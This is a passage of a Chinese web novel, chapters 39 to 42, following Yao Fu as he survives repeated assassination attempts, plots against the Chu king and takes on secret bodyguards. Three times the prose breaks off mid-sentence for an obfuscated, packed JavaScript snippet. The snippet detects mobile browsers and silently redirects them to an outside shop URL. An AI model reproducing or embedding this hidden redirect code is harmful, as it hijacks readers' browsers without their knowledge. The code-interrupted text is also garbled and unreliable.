车夫自然知道出了什么事,方才姚复喊停车时就解开了一匹马。姚复拉着应瑕翻身上马,一路策马疾驰出了城,那几个人在后面穷追不舍,箭矢几乎都贴着他们的头皮飞过,好在马儿的脚力够快,赶在那拿剑的黑衣人之前冲进了解臻在郊外的营地。 他们又在打仗,军营里没有多少人,留守的大约有千余人,对付十几个刺客也是绰绰有余的。 方一进了营门,马儿便力不从心的倒在了地上。 姚复使劲拉着应瑕,两个人一块儿倒在了地上,大口喘着气。 39. 第39章 刺客们见马匹闯进了军营,自知不敌,在远处观望一会儿后便悄无声息地离开了。 马上有兵士把地上的两人一马扶了起来,方才逃的太过匆忙,姚复感觉肺里呛了不少烟尘,这一会儿几乎控制不住地咳嗽,坐在地上缓了好一会儿才舒服了不少。应瑕的情况也不遑多让,也是坐在地上不住打喷嚏—— 平阳就这点不好,烟尘也太多,先前在启封纵马也未曾见过这么多灰尘。 “咳咳咳……”姚复刚要说话,又感到喉间一阵瘙痒,便又掩着唇咳嗽起来,另一手拍着胸脯顺过气,兵士发觉不对,也连忙上前替齐王顺气,也有人自觉去找了随军做军医跟过来的陈重熙。 过了好一会儿,姚复才勉强开口:“咳……叫人去严查刺客……咳咳咳、” “你还是别说话了……”应瑕揉揉通红的鼻尖,上前拍了拍姚复。 陈重熙来的很快,见着两人坐在地上的狼狈样子,心里止不住暗笑,脸上还是挂着那奸诈狐狸一样的笑,看的姚复极不舒服。陈重熙挨个给他们把了脉,戏谑道:“大王,你们这没办法。方才在路上吃的灰太多了——隔几日全呛出来就好了。” “去查刺客……去查、咳咳咳……”姚复的声音几乎都被嗓子眼里的沙土磨的变了样,但还是坚持让陈重熙查刺客去。 陈重熙蹲在地上,一手搭在膝盖上,闻言有些诧异地转头问应瑕:“刺客?什么刺客?” 应瑕说话还算流利,只是方才打了喷嚏,带了浓重的鼻音:“方才回来时遭了刺客,才一路疾驰吸了不少烟尘——此事蹊跷,必须严查。” “哈哈。”陈重熙干笑两声,“夫人别说笑了,除了楚王谁还会没事派刺客刺杀大王。” “……”应瑕沉默了,随后拍拍衣服上的尘土,站起身来,往营帐里走去。 姚复坐直身子,心里几乎已经认定了就是屈郢派的刺客,但这又该如何解决?他不是什么天命之子,自然不可能在练练追杀下保证每一次都能活下来,而刺客杀了一批还会有下一批—— 早知道就不把韩玉笙赶到滇州了。李小姐身边那连星死士人数又多,身手也好,拿来抵御刺客可以说是极为合适的。 “那我怎么办?”姚复扭头问陈重熙。 陈重熙显然没想到姚复会这么问,仍是半蹲在地上,摸着下巴思索了一会儿,说道:“您还是先躲着吧——看大王的星象,马上就要交运了,很快就会有贵人替你解决……” “你那什么占星术准吗。别拿这个糊弄我啊。”姚复也跟着站起身子,抱胸怀疑地看着陈重熙,“你能不能说点实质性的,我真后悔送走的不是你。桥虹说话从来不会神神叨叨的。” 陈重熙跟着站起来,似乎看到了什么东西,匆匆回身离开,口中说:“我只能看个大概——具体如何大王自己定夺。” 接着就往伤员营里走去——姚复顺着他的背影看过去,恰见解臻和另一个兵士正在往里抬伤兵,韩玉筝扎着个马尾,站在门口处,手里拿着些绷带一类的东西。 姚复把手掌放在额上挡着阳光,看了看太阳的踪迹。现下大约是未时,将近申时,太阳也快落山了,确实到了休战的时间。 反正姚复也没事情做,干脆到了前面去慰问伤员。这次打仗伤员的营帐比先前的大得多,大家都知道屈郢的军队有多生猛。士兵们是绝不会拦着姚复的,只有韩玉筝欲言又止地看了他一眼——许是怕他这个行外人不懂,进来了传了病气给伤员们。 但也没拦着他。 营帐里的伤员不在少数,大部分人只是受了轻伤,过几日养好了还能继续上战场,也有断胳膊断腿的,更有些人刚抬进来就咽了气。 好在姚复已经积累了不少声望,前前后后招募来了不少医师,现下军医也是足够的。至于那些花名,最多只会被认为是男人的通病罢了。 “多少伤兵?”姚复小心地绕开地上一个缺了一条腿正在闭目休息的伤员,问陈重熙,“你什么时候学来了司空谷那毛病?” 陈重熙拿着一个账本,正往上面写东西,闻言放下了那本子,拿起身边的一些药材,叹了口气,一边给手底下的伤员上药,一边说道:“今天战死的有五六百人,剩下又二三百断了胳膊或腿,还有许多身上有伤的。至于这账本,我要记下来用了多少药材,隔几日上报给司参谋——不是您叫他管财政?” 姚复方才想起来先前自己将内政全权交给了司空谷的事。当时只看到了他治理长沙的功绩,竟忘了他一丝不苟死板固执的作风。 “行,你们忙着,晚上叫膳房杀羊做几锅羊汤,给兄弟们补补身子。” 他倒也不急着走,反而在营帐里悠哉悠哉转了两圈,左看看右看看,时不时问几个伤员恢复的怎么样,做足了大官派头,好好过了一把瘾。他是齐王,想怎么看就怎么看,谁也管不着他——现在也算是明白了为什么人人都想当皇帝了。 然后就被赶了出去。 韩玉筝嫌他碍事,偏偏她是个不爱说话的主,又是个女人,不管三七二十一推着他就出去了。 姚复只好去找了应瑕。 夜晚也是应瑕最爱的时间。她对黑暗有天然的热爱。她不喜欢日月光华,却对一豆烛火情有独钟,彼时正坐在案前写一封信。 姚复不动声色地绕到她背后,应瑕眼疾手快地挡住信件内容,重重把一边的兽形镇纸压在了信件中央,随后微微侧过身子,抬头看着背手俯视她的姚复:“关于刺客一事,我会和桥虹商榷。你不必多管。” “不是说屈郢刚愎自用,他会听桥虹的话?”姚复有些诧异,挑眉说道。 应瑕又把身子转回来,把镇纸挪开,飞快地将信纸折叠一下,塞进信封,加上封泥,盖上印章,平静地说道:“屈郢既然敢从我们手下挖谋士,就做好了无条件相信他们的准备。” 不知……有没有做好被背叛的准备。 “他又不是傻子,肯定有疑心,所以……”姚复强硬的挤开应瑕,跟她坐在一张席上,唇角又噙着那一抹狡黠的笑。 二人相视一会儿,应瑕会心一笑。 三日光阴转瞬即逝,屈郢军中齐王与魏王离心,解臻带兵撤回启封的消息不胫而走。 屈郢怀疑有诈,决定按兵不动,止兵一日。 他心存疑虑,手里死死捏着斥候传来的情报,无神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464079|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地问画上的碧姬:“碧姬,你说他们这是什么意思?” “会不会是故意演给我们看的?姚子季此人不重礼法,背弃盟誓并不稀奇……” “你说我们该怎么办呢?刺客也是连连失手……” 正当他六神无主之际,外面的通报声忽然响起来,侍卫不敢进去——屈郢从不准任何人进来,怕他们冲撞了碧姬。 “大王,桥参谋求见——” 屈郢喜出望外地站起来。他安排的细作日日给姚复麾下的谋士洗脑,好不容易才把屡出奇计的桥虹挖过来,这还是他头一次求见。屈郢有些踌躇地看了看碧姬的画像,忽然想起桥虹也是局中人,他明白这些内幕,便也放下了心,正色说道:“请桥参谋进来。” 侍卫掀开帘子的一角,好奇地往里看了一眼,只见那营帐里阴森森的,画上的红衣人好像下一秒就会舞动起来,连忙收回目光,等桥虹进去便急急放下帘子。 桥虹微微抬起眼皮,看了画上的碧姬一眼,随后朝着画作行了一礼,便施施然坐下了。 屈郢把小案挪正,有些急切地问道:“桥参谋,你也知道最近军中的传闻,齐王这是何意?” 桥虹微微笑了下,谦恭地垂着睫毛,屋里的光有些昏暗,屈郢看不太清他的神情,只是声音格外清晰地传入耳畔:“我找大王正是为了此事。依齐王的脾气,确实能做出来口血未干而背信弃义之事的——” “启封城又被浇筑地固若金汤,自然是不好攻打的,兵力着重放在赣州和鄂州,打到长沙,齐王自然会坐不住。所以大王应当尽快休战,拉拢魏王。而他的养子魏讯,也是个可用之才——” 屈郢若有所思地点点头,随后说道:“那我再追加一些刺客,混进启封城,偷偷杀了他,如何?” 桥虹笑而不语,抬头看了一眼碧姬的画像,忽然想起了她那一支剑舞,想起了飞舞的红衣和飞溅的鲜血。 屈郢顺着桥虹的目光看向碧姬,不知想到了什么,忽然收起了脸上的信任,语气也冷下来:“桥参谋,你为什么要投奔我呢?姚子季死了对你没什么好处罢。” 姚复死了屈郢也活不过来,无论怎么看桥虹都拿不到好处。 桥虹似乎没想过这个问题,微微愣怔了一下,但却没有一丝慌乱,他很快平复了面上的表情,说道:“我女儿与太子有婚约。若论想让他死的,我应当排第一才是。” 姚复死了,幼主继位,桥小姐跟着做了皇后,桥虹也能跟着鸡犬升天,位极人臣, 屈郢仔细咀嚼了几遍,没发现哪里有漏洞,最终相信了桥虹的话,又与桥虹交谈了些什么,便放他离开了。 桥虹临走前站在门口,笑着对屈郢说:“从前我听陈累冶说过,点燃生犀角照梦,能与死者相见,俗称犀照通灵。” 屈郢愣在原地,桥虹轻轻放下帐子,长长松了一口气。 楚王没什么文化,犀角通灵是不假,可温峤四十二岁就死了;与太子有婚约的也不是桥小姐,是陈重熙的小女儿啊。 不然为什么应瑕会留下所有谋臣,独独扣押了陈家? 局中之人俱是棋子,想让姚复死的只有屈郢自己罢了。 40. 第40章 姚复根本没带着人回启封,他直接领着自己的兵力一路南下回了长沙,但是解臻还留在平阳帮着魏王对抗屈郢,这些日子屈郢下了十几封信,每一封看着都像是桥虹写的,都是动之以情晓之以理,说的解臻都想造反了—— 没办法,他的身家性命还捏在应瑕手里。那些信件都又被塞回信封拿一样的印泥封好递到了魏王手里。 魏王当着解臻的面什么也不说,但大家都知道他心里动摇了。 魏王本来就心志不坚定,和姚复结盟也不过是因为先前被朝廷和屈郢两面夹击。现在屈郢主动来求和,人总是慕强的,魏王一个精明的商人自然明白趋利避害,若不是碍于结盟时神前的誓词,这一会儿说不定他早就反水了。 平阳很快到了寒气入骨、喷吐如霜的时节,桥虹写来的信件已经不下百封,解臻看着魏王一天比一天焦虑,屈郢的兵力也大多退走了,便随意找了个借口班师回了启封,原先驻守定州的解斛珠则跟着新涂蹲守在了赣州,专门等着屈郢派兵来打。 魏王见姚复的人走了,当下便也无所顾忌了,当即狠下心来给屈郢送了两封信,表示自己愿意为楚王效劳,接着好像心神不安一样,连着斋戒沐浴了两个月,一直到开春,祈求上神能原谅自己对盟约的背叛。 可是如果祈祷有用,世上又怎么会有因果报应。 到了开春的时候,屈郢悍然发兵打了赣州,好在姚复这边早有准备,赣州地形也算有利,应付起来也算是得心应手。可屈郢还派了麾下一员主将北上频频骚扰魏国,魏王给姚复发了几封求援信,碍着面子,姚复只好捏着鼻子让解臻再度发兵救援去了。 奇怪的是这几场战斗都像是小打小闹,好像屈郢在背地里酝酿一个大计划。 姚复总觉得心神不宁,可是又找不到恐慌的来源,干脆把准备南下去交趾的韩玉笙叫了回来。 军令上只写了“速归”两个大字,吓得韩玉笙以为出了什么大事,连夜赶回了长沙。 “大王,大王,你叫我回来出什么事了?”韩玉笙坐在马上,心如擂鼓,只好控制着马匹来回踱步,见着姚复大半夜从营帐里出来,更是有些焦急地问道。 姚复拿到侍卫的通报,听说韩玉笙回来,惊喜之余心中忽然警铃大作,匆匆套了件外袍就出了门。长沙的天比起平阳暖和的多,只穿里衣其实也不会冷。 在出门的一瞬间姚复心中那莫名的恐慌又忽然消失了。 “最近遇到了刺客,”姚复理理刚剪短到及肩的头发,“夫人的死士借我用一下。” 韩玉笙并不作答,倒是满脸惊愕地看着姚复背后,一双桃花眼瞪得跟铜铃一样,嘴巴张的能塞下鸡蛋。 姚复看着他的表情感觉有些不对,又忽然发现光线似乎有些不对,心中猜到了些什么,连忙回头去看——果不其然,有人烧了他的营帐。 “愣什么!”姚复大喊一声,连忙招呼侍卫,“快去打水!” 亏的前两日换季时偶感风寒,应瑕不知道哪根筋搭错了,硬说门口的草寓意不好,不利于团结他痊愈,叫人全给拔了,才让火势没法进一步蔓延。 姚复这一嗓子下去,大家都回了神,打水的打水,抓人的抓人。好在不远处就是水井,大火很快被扑灭,纵火的人也很快就被抓住了。 是两个新兵,前几天刚招到的。 抓到了就直接认了,说自己就是刺客,一五一十说完了如何领了命如何潜入军营如何摸清楚姚复的生活规律又如何想办法纵火的过程。但别的怎么也不说了,同伙几何会用什么办法埋伏在哪里,什么也不说,嘴巴比树胶都严实。 “拖下去斩了。”姚复心知再怎么拷打也无法从他们嘴里翘出来半个字,干脆一挥手斩草除根了。 “我这几个月被刺杀了五次。”姚复的眼神已经如同一潭死水古井无波,甚至还有一点麻木,“所以你夫人那几个死士——” 韩玉笙从马上下来,笑了一下:“呵呵,我没什么意见,只是翡羽还在附近的客栈。大王这么急着叫我回来,我还以为出了什么事,哪敢让翡羽跟着过来。” 姚复无奈的看着天上的星星。那死士绝对效忠李小姐,拿不到她的首肯,姚复做什么也是无用功。看样子也只得第二日再去找她——只是这到天亮还有几个时辰,只希望不要有什么变故才好。 “话说您惹谁了啊?能让人追到军营里刺杀。须弥芥子吗?”韩玉笙瞟了一眼应瑕的营帐,见帐中灯火并未亮起,便放下心来,凑近姚复问道。 姚复重重叹气:“还能有谁!除了楚王,还能有谁!” “也是。”韩玉笙释怀似的笑了,他又上下看了姚复几眼,又说道:“大王要不还是把指甲留长吧,反正屈郢不会善罢甘休,您也找不到时间去上战场。咱的人手也足够——” 贵族、文人总会留长指甲以示身份尊贵,武将为了战事顺利则会剪短指甲。姚复先前算不上文人,现在倒算是贵族,却从不肯留长指甲,应瑕和陈重熙都问过他,理由也很简单——长指甲容易藏污纳垢,脏的很。 许多贵族女子都是留着长指甲还要忍着麻烦天天清理,应瑕似乎也是因为这个才不爱留指甲。 “去去。”姚复把手缩进袖子里,嫌弃地瞪了韩玉笙一眼,“也没见你劝你妹妹妹夫留长指甲,不待见他们?” 韩玉笙嘿嘿笑了几声,随后说:“大王,合浦郡的南珠很有名,我想给夫人献一些,你看采珠权……” 他急急赶回来才不是为了勤王救驾,只是李小姐前些日子在市上看中了几颗南珠,苦于价格过高没拿到手,因而他生了拿到合浦郡采珠的权利的想法。他也不贪,甚至没给姚复要合浦郡全部的赋税权,只收珠子已经很大方了。 “你过来就为这个?当然——”姚复有些不可思议地看了韩玉笙一眼,又不满地皱起眉头,从前并无武将拿赋税权的先例。但转念一想,韩玉笙一心扑在男女情爱上,也不至于牟取私利,反倒能给姚复带来些利益,于是他的话拐了个弯。 韩玉笙听着姚复说话,心都提到了嗓子眼,却听见: “——没问题。” 韩玉笙的心放回胸膛,欢喜地马上就要谢恩,还没等开口,就听姚复又说:“不过,采来第一批珠子,军中女眷一定要每人留一颗。给桥虹他夫人和女儿也留一些。” 这玩意这么贵,每年进献到姚复手里的估计都不够串成项链,还不如直接把权力给韩玉笙,再以权谋私,趁机弄来一些成色好的,犒赏几位主将家属的同时给应瑕串条链子当做礼物。 “多谢大王!末将便先告辞了!”韩玉笙不会多虑,只听自己拿到权限便是满足,马上谢了恩,翻身上马径直出了营,想也知道是去那旅馆找李小姐了。 姚复哑然失笑。 从月坠西山到东曦既驾也不是很漫长,约莫中午的时候李小姐手下的三十六个死士就站到了他面前。 为首的是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467902|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漂亮女人,她打扮的像个女冠,穿着一袭白衣,手里拿着一柄拂尘,总是微微笑着,带着两个甜美的梨涡。 先前拿下武陵之前,组织宴会刺杀时姚复见过她一面,现下忘的也差不多了,看着她想了好一会儿才依稀记起来,但身体已经更早做出了反应。他恭恭敬敬地行了一礼,口中却问:“贵姓?” 那女子有些恼火,但还是甜蜜地笑着:“我是太阴。” 对了,这群死士之所以叫做连星,就是因为每个人都是以星象为号,早早弃了本命。又因为所保护的是个女孩,而代表洁白、清洁,象征女性的太阴就理所应当成了所谓“主星”,统领门下七十二个死士。 “哦,哦。久仰久仰。”姚复恍然大悟,有些尴尬地补了两句,“我听说诸位除了是小姐的死士,也是江湖上的高手,想必也能抵御楚王派来的刺客罢?” 太阴仍旧是笑着,只是说:“人外有人,天外有天。某不敢跟大王打包票,但定然能保住您的性命。如果真遇到我们也摆不平的,那也只能……自求多福咯。” “行,你们暂时帮我拦着那些刺客,真打不过了我再想办法。”姚复无奈地揉揉眉心,他知道不可能仰仗着李小姐的死士一辈子,只是怕真到了他与屈郢谁的死期,这场无休无止的追杀才能彻底停下。 太阴微微颔首,接着那三十六个神态各异衣装不同的死士便各自施展本领离开了——这些人要么是飞檐走壁,要么是原地消失,几乎都是一眨眼就没了。武功与仙术还是有本质区别的,把刺客交给他们姚复倒也能安下心来。 接下来他便能安心筹划下一步的作战计划了。 可还没和应瑕商量好先从巴州搭秦州还是从岭南东进,麻烦先找上了门。 司空谷竟千里迢迢从巴州回了来,二话不说要觐见,浑身都带着怒气,面色也是不虞,一进门就怒气冲冲地问:“你把合浦郡的采珠权交给韩将军了?” 姚复把脸从文书里抬起来,疑惑问道:“那怎么了?” 司空谷冷笑一声,姚复很清楚地感觉到这个先前情绪极其稳定的谋士真的发怒了。他把一沓纸拍在桌子上,咬牙切齿说道:“这是您把采珠权交给韩将军的这个季度里,合浦郡的收支情况。” 姚复不明所以,掀开纸一看,一水儿赤字,不信邪地往下翻了个遍,竟全是赤字,红彤彤的一片,姚复感觉自己的血都没这么红,看的是眼前一黑又一黑,只是不能化作笔墨填在账单上。 “这……这怎么,全是红的啊?”姚复不可置信地把纸张翻来覆去地看了几遍,“真的连一个黑字都没啊?” 司空谷撑着桌子,咄咄逼人道:“合浦郡赋税收入南珠的收益占了大头,韩将军拿了采珠权之后,大部分南珠被低价出售,导致入不敷出。下次大王把财政大权交于别人时先和夫人商量罢。” “那,那这赤字儿怎么办?”姚复一缩脖子,有些忐忑地问。 司空谷微微眯眼,说道:“如果大王不拿回采珠权,就只能把韩将军送去开珠子还账了。” 姚复权衡了一下两个选项——拿回采珠权,采上来的珠子归官府,送到长沙之前要过司空谷的手,此人又不会通融,相当于姚复失去了以权谋私的机会;若把韩玉笙送去还债,相当于权力还在他手里,韩玉笙又是个傻的,每个季度都拉去开珠子就行—— “那只能委屈韩将军了。”姚复笑了笑。 在心里替韩玉笙道了歉。 41. 第41章 韩玉笙被送去挖珠子抵债的第七日,他说好送来的珠子也全都到了。他的聪明劲全用在了躲开司空谷的核查上,本来就为数不多的珠子还被分开塞进了上供的丝绸里,要不是应琼打算先挑一块合眼缘的做帕子使,大约谁也发现不了这些价值连城的小玩意。 姚复看着被应琼收好装在精致木盒中的二十来颗南珠,多少有些发愁。南珠一年产量也不到百来颗,本来也是名贵之物,姚复原本想的是让韩玉笙送来七八颗,给应瑕做对耳环,剩下的给解斛珠等人一人一颗也算犒劳军属。可现下韩玉笙送来的超出了预估,不够做条手链或是项链,按着原计划又多出来不少。 思来想去,姚复留下了三颗,又从中挑出七八颗成色好的,让人分给了几个亲近的女眷。余下的十颗,自有打算。 第二日军令就传遍了整个齐国:“论功行赏,作战中能斩敌方主帅的,赏三颗南珠;一次作战斩杀五十人以上的,执左耳来见,赏两颗南珠;能斩杀十人以上五十人以下的,赏一颗南珠。” 更令军心振奋的还是,这条军令只针对校尉及以下的长官和兵士们,像新涂这样有军衔和职称的,是不能领赏的。 应瑕很快得知了消息,当天晚上便闯进来姚复的营帐。姚复向工匠找了钻头和抛光用的工具,又在城里买了些金箔,将两颗珠子做成了两对耳环,又将几张金箔融了,拿着针尖细细装饰珠子,剩下的一颗稍大,则打算坠在香囊上充面子。 “我听说你用南珠做奖赏激励军士?”应瑕多少有些不悦地质问姚复。 白日她不在军中,和应琼一起去集市上挑线头去了,晚上回来便听到了姚复拿南珠做奖赏的消息,心里自然是五味杂陈。南珠这东西在北方有价无市,在南方有市无价,她又不知道姚复和韩玉笙干了什么,只当这一颗珠子买来就要断三军粮草。 姚复落下最后一笔,对着珠子吹了一口,使上面薄薄一层金液快速冷却下来,伸手又用镊子夹取了一张金箔,另一手斜执着蜡烛,火苗煨灼着金箔,姚复稍微换了个力道,熔化的金液便顺着箔纸的凹槽流进了桌上的小碟子。 “没事。我这里还剩下十颗南珠。先前又把采珠权给了韩玉笙,以后每个季度都有用不完的珠子……”姚复没停下手上的动作,只是笑着向应瑕解释。 应瑕蹙起眉头,坐在案前,心中仍有些疑虑:“那该如何平账?韩玉笙行军打仗又该如何平账?” “管他呢,又不是我的事。财政不是司空谷在管吗。”姚复毫不在意地放下一颗珠子,随后从匣子里拿出那颗天然质朴未经雕琢的,塞到应瑕手上:“诺,这个你回头让妹妹给你绣到香囊上带出去。” 应瑕拿着那珠子,抿了抿唇,便把那小东西塞进了香囊:“等解决了魏国,便让韩玉笙从巴州入秦,一举拿下朝廷好了。” 姚复有些讶异地抬头:“由巴入秦可不容易,‘蜀道之难,难于上青天。’由秦入巴不容易,由巴入秦也是一样的啊。还不如打下魏国之后直接越过太行西进呢。” “从魏国入秦……那边地势平坦,容易腹背受敌。而且蜀道‘一夫当关,万夫莫开’你真是一点也不提啊。”应瑕紧紧蹙着眉头,不太赞同姚复的看法,但她也没完全反驳,只是出言劝诫了两句。 “啊呀我知道。”姚复颇为敷衍地回答一句,“此事我自有打算,你在长沙等着捷报就好了。” 应瑕有些生气了,她屈指敲了敲桌面,有些愠怒地说道:“你们男人总是这样。我拗不过你,只有一个要求——绝不留在长沙,你要从哪入秦都好,我一定要随军。” 姚复手上动作一顿,珠子上精细描摹的花纹险些毁于一旦,他赶紧把珠子放在桌上,先行停下了动作,有些焦急而又担忧地说道:“这怎么能行?你受伤了怎么办?我知道你不是一般女子,你懂兵法,能练兵,但你不能跟着上战场——” “要么让我跟着过去,要么我把你打晕,拿了虎符自己上战场。”应瑕站起身子,对姚复下了最后通牒,随后转身离开。 她最后丢下那个眼神,就好像——回到了当年刚成婚时,狠厉决绝,好像一眼初冬时尚未结冰却寒凉刺骨的泉水。 姚复几乎如坠冰窟,却也只好从了她的要求。 应瑕一诺千金言出必果,都说出来如此狠厉的话来了,姚复实在不敢想违背她的意志会有什么后果。 那三十六个死士躲得不算很隐蔽,有个人姚复几乎日日能感觉到——冰块一样的冷脸死士,老是跟在他背后三五步的距离,如果有刺客就会和其他人一起跳出来砍了来人。可平日里他才像那个刺客,附骨之蛆一样阴魂不散,姚复一回头又总看不见他。 跟招了鬼一样湿漉漉黏哒哒的,恶心至极。 姚复跟应瑕说了一次这个事,她却只是付诸一笑,然后说:“你应该去找太阴说这个事。” 夫妻到底没有隔夜仇的,上次吵了一架之后应瑕很快消了气,只是这话怎么听怎么像还在报复。 姚复回以一个尴尬但礼貌的微笑,没敢再给自己找不痛快。 太阴常常是隐蔽的最深的那个,就算是遇了刺杀也不一定出来,去找她无异于瞎猫捉耗子。除了远在滇州的李小姐,怕是谁也叫不来她。 不过好歹给等到了这个机会。 魏王退到了北边的大同去,屈郢的军队跟着北上了,解臻为了救援不得不离开了能在一天之内赶回定州的范围。 只要屈郢不趁机南下,其实解臻去哪里没什么区别——没死就行。 但屈郢北上还有个不太好的结果,刺杀姚复的人越来越多了——屈郢就是明知了他武功不怎么样! 眼见着来刺杀的人越来越多、武功越来越高强,埋伏在姚复身边的几个死士明显力不从心,虽说姚复没什么感觉,但他就是知道——太阴星大约已经来亲自护驾了。 连着享受了两个月宁静时光,沉积的仇恨终于在一个午后爆发了。 长沙境内也有不少河流,城里越发繁华,水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475235|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边也逐渐修葺起来,长廊水榭,看着比白家那莲花池旁边修的更有自然之趣。此处也很阴凉,得了空姚复就带着应瑕过来走走。 成婚都快五年了,两个人还是没找到什么生活中的话题,走在一起还是谈论国家大事,作战计划,然后再吵上一架。 应琼总夹在中间当和事佬,脾气再好也急了,雇了辆马车就跑去了赣州,连狗都带走了。 “这个时节的橘子洲很美啊。”姚复在心中强调出来不是为了和应瑕吵架,信手指向远处的橘子洲。 芳草萋萋,确实很美。于是应瑕点了点头,附和道:“不错,江水也比渭河清澈。只是想再见一次泾渭分明的奇观啊。” 姚复听到应瑕的话,忽然心中有了想法——或许可以趁着魏国南部空虚,直接借道攻打朝廷呢,届时再想办法打通从巴州入秦的路。如果惹了众怒,干脆将都城从长沙迁到锦官城,在天府之国养精蓄锐,再卷土重来。 还没等开口将计划告知应瑕,他便感到一阵轻风拂过,随后便是一丝细微的响声,像是素手拨弦,瞬间内心警铃大作,猛然按住应瑕,一同跳进了波光粼粼的江水,没了踪影。 就在他们入水的瞬间,方才站的地板上便扎了一排箭头,另有几个穿着奇怪的人,拿着刀剑站在了水榭上,作势也要往江里跳。 姚复在水下勉强睁开眼,几个人影哗啦啦破水而出,上了水榭,姚复连忙钳住应瑕的腰,借着力拉着她浮出水面。 那连星死士今日随行的只有寥寥几个,除了太阴全是生面孔。太阴的伸手确实不错,她仍保持着端庄,时不时拿拂尘格挡两下,对方的招数竟在她躲避的身姿中尽数化解了。其他人则是豪放地多,根本不管什么礼仪。 来的刺客三下五除二便被尽数解决了。 眼见着太阴星要走,姚复托着应瑕,连忙在水里招手呼喊:“太阴、太阴!你们先别走!” 太阴星停了一下,制住大家要走的动作,扭头甜甜笑着,先前一直跟着姚复的那个人没说话,朝着太阴行了一礼,便顺手下去把姚复和应瑕捞了上来。 “有什么事么?”太阴仍是甜甜地笑着问。 她总是笑,却又不像假笑,反而纯真又自然,笑的人心里阵阵发怵。 姚复脱掉还在滴水的外袍,拧了拧自己下襟的衣角,指向把自己捞上来的冷脸死士:“他,跟着我的时候能不能别跟女鬼一样,天天没有刺客就他最像刺客。” 太阴笑着转头,随意下了定论:“天梁,你便装作侍卫待在齐王身边罢,先前跟着人家的法子确实不好。” 天梁抱剑行了一礼,站在了姚复身边,又不说话了。 太阴清点了一遍人数,笑着告辞:“若大王还是觉得如影随形,切莫恐慌,太白与天梁作风相似。我们也不好长久逗留,告辞。” 不过眨眼瞬间,站在水榭里的只剩下了天梁。 姚复翻着眼皮看了他一眼,拾起地上的衣服,带着应瑕打道回府了。 42. 第42章 自从天梁成了姚复名义上新招的贴身侍卫,这小子是真的越来越像狗皮膏药了。从前还是躲在暗处偷偷尾随,现在姚复感觉哪哪都天梁,白天研磨的,膳房熬汤的,半夜梁上蹲着的,每一个都好像是天梁。 应瑕也有同样的困扰——姚复每每精神不济,就总是和她猫在一起,将自己如何如何焦虑和盘托出,然后弄的应瑕也极为焦虑。最终总是以两人躺在一张床上,天梁蹲在房梁上结束每一个黑漆漆的夜晚。 跟他直说也不管用,李小姐不在,人家只听太阴的话。 齐国关于姚复的私生活的谣言本来就是纷杂无比,因为天梁极度越界的行为,谣言更是花团锦簇。 什么新来那个侍卫其实是齐王养在外面的小白脸,是姚老头的私生子就算了,更有甚者说是姚复在外面开了后宫,只是这个侍卫格外合眼缘,才接到身边照应着。听说外面不知是谁开了一家书局,这些日子卖了不少造谣的书籍。 能让姚复稍微宽心的也只有这些谣言没有关于应瑕的——这些花里胡哨的谣言向来针对男子,造黄谣是对女子最严厉最残酷最下流的手段,连屈郢都不会干这种事。 在谣言的攻势之下姚复真的不胜其烦,干脆直接拉了天梁过来,又怕应瑕听见了看轻他,便只好压着声音说:“你能不能别日夜蹲守在我身边五尺之内的地方?你看看外面的谣言都传成什么样了?” 天梁抱着剑倚在门框上:“职责所在,恕难从命。” “你这样对我名声很不好啊!”姚复生气地抓着他的袖子。 天梁无所谓地耸耸肩:“这不是我该管的。” “喂!”姚复有些崩溃地摇摇天梁的胳膊,“虽然你这样能除掉不少刺客,但是真的不能再退开三尺吗?!给我们一点隐私不行吗?!” 天梁抽回胳膊:“你和夫人又不同房。您要是上战场了我也无能为力。” 姚复退开一步,指着天梁,恶狠狠说道:“行,你给我等着!” 随后就闪身进了应瑕房间,天梁跟着他走了两步,忽然感觉不妙,便在门口停住了。 应瑕已经睡下了,姚复伸手把她使劲摇醒,在她开口询问之前比了一个噤声的手势,随后手舞足蹈地解释起来。难为应瑕给看懂了,无奈地翻身下了榻,无奈地跟姚复一起使劲推着床榻,使其发出不堪重负的嘎吱声。 天梁把耳朵贴近听了听门里的动静,随后后退几步,翻身上了屋顶,盯着月亮出神。 姚复觉得差不多了,停下了手,走到门口,推开一条小缝,见天梁已经走了,才如释重负地阖上门缝,坐在榻上,长长舒了一口气。 “什么事非得支开他?”应瑕看了看门口,终于没点灯,坐回榻上。 姚复叹了口气:“屈郢递了求和书,请我到汝阴赴宴。我怀疑有诈,想和你商量商量。” “这摆明了就是鸿门宴,你为什么还要避开天梁。”应瑕更为不解。 